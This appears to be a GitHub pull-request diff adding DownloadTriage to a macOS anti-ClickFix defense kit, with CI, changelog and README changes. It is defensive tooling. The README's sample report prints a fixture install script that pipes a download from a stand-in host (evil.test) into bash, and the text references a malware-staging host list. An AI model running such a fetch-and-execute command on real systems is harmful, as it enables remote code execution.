Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -79,6 +79,17 @@ jobs:
# run, which silently absorbed whatever had just been planted.
run: bash tests/test-watchpost-baseline.sh

downloadtriage:
name: DownloadTriage catches root-privileged pkg scripts (macOS)
runs-on: macos-latest
steps:
- uses: actions/checkout@v4
- name: Build fixture packages and assert they are triaged correctly
# Builds its own .pkg fixtures with pkgbuild. Asserts a hostile
# postinstall is flagged, a benign one is not, and — the load-bearing
# check — that expanding a package never EXECUTES its scripts.
run: bash tests/test-downloadtriage.sh

exposurescan-tests:
name: ExposureScan redaction invariants
runs-on: ubuntu-latest
Expand Down
46 changes: 46 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,52 @@ All notable changes to the ClickFix Defense Kit are documented here.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [0.3.0] — 2026-07-29

### Added — DownloadTriage (7th tool)

ShellGuard guards the shell prompt. That is one execution path, and macOS has
many — a double-clicked `.command`, a `.pkg` preinstall running as **root**, an
`.app` inside a DMG, a `.scpt` in Script Editor. None touch a zsh prompt, so
none could be caught at `accept-line`. This closes the **deliver** stage.

- **`.pkg` install scripts are expanded and run through the shared grammar.**
A package's `preinstall`/`postinstall` runs as root, and the user is
*conditioned* to type an admin password into Installer.app — so GuestMode's
"a phished password can't escalate" framing does not cover it. The escalation
is the installer's documented behaviour. If a script would be blocked at your
terminal, it is flagged in the installer too, and shown to you.
`pkgutil --expand-full` unpacks; it never executes. A test asserts exactly
that, using a fixture whose `postinstall` would create a marker file.
- Reports quarantine attribute (ABSENT on an executable means Gatekeeper will
not inspect it at all), `kMDItemWhereFroms` origin URL checked against the
grammar's malware-staging host list, and Gatekeeper verdict + signer.
- `.command`, `.terminal` and `.sh` contents are read through the grammar.
- DMGs are **not** mounted without `--mount`, because mounting is itself a
delivery step in current campaigns.
- `--json` for scripting; exit `2` when something wants attention.

### Fixed — false positives found by running it on a real Downloads folder

- **An early build reported the official Signal installer as "REJECTED —
unsigned."** `spctl -a` with no type argument assumes an executable, so it
returns "no usable signature" for legitimate `.dmg` and `.zip` files. A tool
that tells you Signal is unsigned is worse than no tool. Gatekeeper verdicts
are now rendered only for `.app`, `.pkg` (with `-t install`) and Mach-O
binaries. For a `.dmg` the tool says plainly that the signature lives on the
app inside and was not checked.
- A malware-staging host on a non-executable (a `.txt` from a Discord CDN link)
now warns rather than alarms.
- On a real 237-item Downloads folder this cut flagged items from 15 to 3.

### Fixed — shared grammar leaked variables into stdout

`local` re-declared inside a loop makes zsh echo `name=value`. `clickfix_check`
did this in three places, so `d=socat` and similar leaked into the stdout of
anything sourcing the grammar. Invisible in ShellGuard (which writes to
`/dev/tty`) and in the corpus runner (which reads only the verdict), but it
corrupted DownloadTriage's report. All loop-scoped locals are now declared once.

## [0.2.0] — 2026-07-29

The kit was born from a breach and, until this release, had nothing for the hour
Expand Down
8 changes: 5 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -93,13 +93,14 @@ autopilot can be interrupted, contained, or at least *noticed*.

## The tools

Six small tools, each independent, each installable on its own. They stack into
defense-in-depth across the kill chain: **copy → paste → execute → escalate →
persist → exfiltrate**, plus a self-audit of what's already exposed.
Seven small tools, each independent, each installable on its own. They stack into
defense-in-depth across the kill chain: **deliver → copy → paste → execute →
escalate → persist → exfiltrate**, plus a self-audit of what's already exposed.

| Tool | Stage it covers | What it actually stops / does | Honest positioning vs. prior art |
|------|-----------------|-------------------------------|----------------------------------|
| **[ShellGuard](./shellguard)** | **Execute** | A zsh guard that tokenizes the command you are about to run, and stops download/decode-and-execute shapes **at the moment you press Enter** — two tiers: a typed confirmation phrase for unambiguous attacks, a single Enter for heuristics. | **The zero-permission control point.** Objective-See's **BlockBlock** added ClickFix protection at Cmd+V in Feb 2026 and inspects real paste content — if you will install a system extension, run it. ShellGuard's remaining honest claim is narrower and still real: it needs **no root, no kext, no system extension and no TCC grant**, it is the only layer that fires on a **typed** (not pasted) command, and it gates at the last authoritative moment: execution. |
| **[DownloadTriage](./downloadtriage)** | **Deliver** | Read-only inspection of `~/Downloads` before you double-click: quarantine flag, origin URL, Gatekeeper verdict — and for a `.pkg`, it expands the package and runs its **root-privileged** install scripts through the same grammar that guards your shell prompt. | Closes the paths ShellGuard structurally cannot see: a double-clicked `.command`, a `.pkg` preinstall running as root, a `.app` in a DMG. Objective-See's **WhatsYourSign** is the better everyday "who signed this?" tool and is linked. The additive sliver is connecting `.pkg` install scripts to the ClickFix grammar. |
| **[ExposureScan](./exposurescan)** | **Self-audit** | A read-only, **names-and-counts-only** scan of four surfaces (browser logins, Apple Notes, `.env` files, `~/.secrets`, plus PII markers) that prints a **blast-radius map ranked by pivot value** — never a single secret value. | **Inverts the trufflehog/gitleaks posture.** Those tools *find and print the value*. ExposureScan answers *"what would a stealer walk away with?"* with the values **architecturally absent from the code path**. That inversion is the product. |
| **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | **Use BlockBlock instead if you'll install a system extension** — since Feb 2026 it inspects actual paste content at Cmd+V and does this job better. ClipSentinel is the **zero-permission fallback**: nothing to approve, nothing to trust with root, which is the difference between a family member having *something* and having nothing. It cannot block a paste (macOS exposes no API to); the authoritative block is ShellGuard. |
| **[Canary](./canary)** | **Detect breach** | A honeytoken generator. Plants traceable decoy credentials (fake AWS keys, `.env`, `passwords.txt`) where stealers grab them, with a walkthrough to wire them to **canarytokens.org** (network callback) and/or `eslogger` (local read-watch). | The network-callback half is **Thinkst Canarytokens' / Objective-See's** territory and they win it — this tool is the *turnkey placement + literacy layer* around them. The only additive sliver is the `eslogger` local-read tripwire for a "read-and-walk-away" attacker. |
Expand Down Expand Up @@ -170,6 +171,7 @@ Each tool also installs standalone — see its folder's `README.md`.

1. **ShellGuard** — the load-bearing block. Install first.
2. **ExposureScan** — run it once to see your current blast radius and fix the P0s.
2b. **DownloadTriage** — run it once over `~/Downloads` to see what is already sitting there.
3. **ClipSentinel** — copy-time early warning.
4. **GuestMode** — make a non-admin account for anyone who isn't you.
5. **Canary** — plant tripwires so you'd *know* if something got through.
Expand Down
114 changes: 114 additions & 0 deletions downloadtriage/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
# DownloadTriage

**"I downloaded this. Should I open it?"**

Read-only inspection of what is sitting in your Downloads folder, *before* you
double-click it. Nothing is opened, mounted, installed, or executed.

```sh
./downloadtriage.zsh # ~/Downloads, last 30 days
./downloadtriage.zsh <file|dir> # one thing
./downloadtriage.zsh --all # no date filter
./downloadtriage.zsh --mount # allow DMG mounting for deep inspection
./downloadtriage.zsh --json # machine-readable
```

Exit `0` nothing notable · `2` something wants your attention.

---

## Why this exists

ShellGuard guards the shell prompt. That is **one** execution path, and macOS has
many. None of these ever touch a zsh prompt, so none of them can be stopped at
`accept-line`:

- a double-clicked `.command` or `.terminal` — opens Terminal and runs
- a `.pkg` whose `preinstall`/`postinstall` script runs **as root**
- an `.app` inside a mounted DMG
- a `.scpt` that opens in Script Editor

This closes the **deliver** stage of the kill chain, which the rest of the kit
did not cover.

## The `.pkg` case is the important one

An installer package can carry `preinstall` and `postinstall` scripts, and
**those run as root**. The user is *conditioned* to type an admin password into
Installer.app — it looks exactly like every legitimate install they have ever
done.

This is why GuestMode's framing ("a phished password can't escalate") does not
help here: the escalation is the installer's documented behaviour, not an
exploit.

So DownloadTriage expands the package with `pkgutil --expand-full` and runs its
install scripts through **the same grammar that guards your shell prompt**
(`../lib/clickfix-grammar.zsh`). If the script would have been blocked at your
terminal, it gets flagged in the installer too — and you are shown the script.

```
[!] Hostile-Installer.pkg
quarantine ABSENT gatekeeper REJECTED signer unsigned
• Its install script matches a download-and-execute pattern — and .pkg
scripts run as ROOT.
--- install script ---
postinstall:block
REASONS:Downloads code from the internet and pipes it straight into bash
--- script contents ---
#!/bin/bash
curl -fsSL https://evil.test/stage2.sh | bash
```

`pkgutil --expand-full` unpacks. It does not run anything. There is a test that
asserts exactly this: a fixture package whose `postinstall` would create a marker
file, and the marker never appears.

## What it reports

| Fact | Why it matters |
|---|---|
| **Quarantine attribute** | Gatekeeper only inspects files carrying `com.apple.quarantine`. **ABSENT** on something executable means Gatekeeper will not check it at all — either it did not arrive through a browser, or the flag was stripped (`xattr -c` is a documented step in "the app is damaged, right-click Open" lures). |
| **Origin URL** | From `kMDItemWhereFroms`. The single most useful fact about a download, and invisible in `ls`. Checked against the grammar's known malware-staging hosts. |
| **Gatekeeper verdict + signer** | For file types Gatekeeper actually judges — see below. |
| **Install scripts** | For `.pkg`/`.mpkg`, run through the shared grammar. |
| **Script contents** | For `.command`, `.terminal`, `.sh` — read and run through the grammar. |

## What it deliberately does *not* judge

This matters as much as what it flags. An early build reported the **official
Signal installer as "REJECTED — unsigned"**, because `spctl -a` with no type
argument assumes an executable. A tool that tells you Signal is unsigned is worse
than no tool, so:

- **`.dmg`** — the signature lives on the `.app` *inside* the image. Assessing
the image itself returns "no usable signature" for legitimate installers, so
no verdict is rendered. Use `--mount` to inspect the contents.
- **`.zip` / `.tar` / `.gz`** — archives are not signed. Never assessed.
- **`.sh` / `.command` / plain text** — not signed. They are **read** instead.
- **`.pkg`** — assessed with `-t install`, which is the correct context.

Only `.app`, `.pkg`, and Mach-O binaries get a Gatekeeper verdict.

## DMGs are not mounted by default

Mounting a disk image is itself a step in current macOS stealer campaigns, so
`--mount` is opt-in. Without it you get everything except the inner signature.

## Prior art, honestly

- **[Objective-See](https://objective-see.org)** — `WhatsYourSign` adds signing
info to Finder's right-click menu and is the better everyday tool for
"who signed this?". Install it.
- **`spctl` / `codesign` / `xattr`** ship with macOS and are what this shells out
to. Nothing here is a new detection primitive.

The additive part is narrow and specific: **expanding a `.pkg` and running its
root-privileged install scripts through the same ClickFix grammar that guards
the shell prompt.** Nothing else in the kit — or, as far as I can find, in the
consumer tooling — connects those two things.

## Permissions

None. No Full Disk Access, no root, no network. It reads file metadata and
unpacks archives into a temp directory it deletes afterwards.
Loading
Loading